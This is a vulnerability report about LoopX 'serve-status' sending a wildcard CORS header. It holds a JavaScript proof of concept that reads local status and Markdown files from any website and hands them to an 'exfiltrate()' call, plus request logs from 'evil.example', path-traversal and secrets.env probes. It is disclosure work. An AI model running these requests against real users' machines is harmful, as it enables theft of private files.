LoopX serve-status permissive CORS policy exposes control-plane state and private Markdown files

## Summary `loopx serve-status` sends `Access-Control-Allow-Origin: *` on **every** response, including its unauthenticated `GET` routes. Because the endpoint is unauthenticated and bound to a fixed, well-known loopback port, **any website the operator visits can read LoopX control-plane state and the contents of Markdown files inside every registered goal repo**, using a plain `fetch()` with no user interaction. The write endpoints are *not* affected — they are correctly Origin-checked. This report is strictly about the **read** paths. ## Impact While `loopx serve-status` is running, a page on any origin can run: ```js // no interaction, no preflight, no credentials needed const s = await (await fetch('http://127.0.0.1:8766/status.json')).json(); for (const g of s.goals ?? []) { const m = await (await fetch( `http://127.0.0.1:8766/review-material?goal_id=${g.id}&path=design-notes.md` )).json(); exfiltrate(m.content); } ``` and read back: * **`GET /status.json`** — the whole status projection: goal ids, run history, and local absolute paths (`registry`, `runtime_root`). With `--global-registry` this covers **every project registered on the machine**, not just one. * **`GET /review-material?goal_id=…&path=…`** — the *content* of any `.md`/`.markdown` file under a goal's repo root, state dir, or runtime dir. In practice that is the operator's private design notes, handoff docs, and evidence write-ups. * **`GET /`** — endpoint discovery, including which write APIs are enabled. * **`POST /control-plane/configure-goal/dry-run`** — this route has **no Origin check at all**, and `do_OPTIONS` returns `Access-Control-Allow-Headers: Content-Type`, so a cross-origin JSON POST passes preflight. The response leaks the `before`/`after` control-plane configuration for a goal. (It does not write — I verified `written=false`.) `docs/public-private-boundary.md` classifies "local absolute paths", "task ids", "raw logs and metrics" and "active goal state that reveals current user context" as material that must stay private. All of it is currently readable by any origin. Two things make this more than theoretical: 1. **Fixed default ports.** `8765` (project) and `8766` (global) are hardcoded defaults, so an attacker page can simply try both — no discovery step needed. 2. **It is documented as a persistent service.** `docs/guides/getting-started.md` documents `loopx serve-status`, and `scripts/macos-dashboard-launchagent.sh` installs a LaunchAgent that keeps `serve-status --global-registry --port 8766` running **after every login**. For anyone following that guide, this is an always-on, machine-wide read surface. I have graded this **High** on the basis of zero-interaction exfiltration of private local material from a persistent service. It is read-only and scope-limited, so if you read the exposure as lower I would not argue the point — you know your users' setups better than I do. ## Location `loopx/status_server.py:136-146` — `StatusRequestHandler._send_json()`: ```python def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None: ... self.send_header("Access-Control-Allow-Origin", "*") # <-- line 142 ``` `_send_json` is the single response path for *all* routes, so the wildcard is applied to `/status.json`, `/review-material`, `/healthz`, `/` and the dry-run POSTs alike. `do_OPTIONS` (`:148-153`) repeats it. Confirmed present at `main` HEAD (`b0c8e315`, blob `c9e53d1a`) at the time of writing. ## What is NOT affected (I checked, so you don't have to) I tried to refute this before reporting. These controls all hold: * **Writes are properly defended.** With `--enable-reward-write-api` and `--enable-control-plane-write-api` both on, `POST /reward/append` and `POST /control-plane/configure-goal/apply` return **403 "only accepts loopback browser origins"** for a foreign `Origin`. `is_loopback_origin()` does its job. There is no cross-origin write, and DNS rebinding does not defeat it either (the rebound page still carries its own non-loopback origin). * **No path traversal.** `../../../../etc/hostname` → 400; an absolute `.md` outside the goal roots → 400 ("outside the goal repo/state/runtime roots"). `path_is_under()` is correct. * **Extension allowlist holds.** `secrets.env` inside the repo → 400. Only `.md`/`.markdown` can be read. * **Dry-run does not write.** `configure_goal_with_global_sync(execute=False)` returns before any write; I observed `written=false`. So the exposure is confined to: status JSON + Markdown under registered goal roots. That is still private material, but it is not arbitrary file read and it is not remote code execution. ## Proof of concept Run against an unmodified clone at HEAD, **default flags** (no write APIs enabled): ``` GET /healthz Origin: https://evil.example -> 200 ACAO: '*' GET / Origin: https://evil.example -> 200 ACAO: '*' GET /status.json Origin: https://evil.example -> 200 ACAO: '*' GET /review-material?goal_id=victim-goal&path=internal-design-notes.md Origin: https://evil.example -> 200 ACAO: '*' content: "# Internal notes\n\nPROD_DB_HOST=db.internal.corp\nCONFIDENTIAL: ..." ``` The file content came back verbatim to a foreign origin. Matched controls from the same harness, with **both write flags enabled** (i.e. the configuration most favourable to the current design): ``` POST /reward/append Origin: https://evil.example -> 403 (origin check) POST /control-plane/configure-goal/apply Origin: https://evil.example -> 403 (origin check) GET /review-material ../../../../etc/hostname -> 400 (traversal blocked) GET /review-material <abs path outside roots>.md -> 400 (root check) GET /review-material secrets.env -> 400 (extension check) GET /status.json …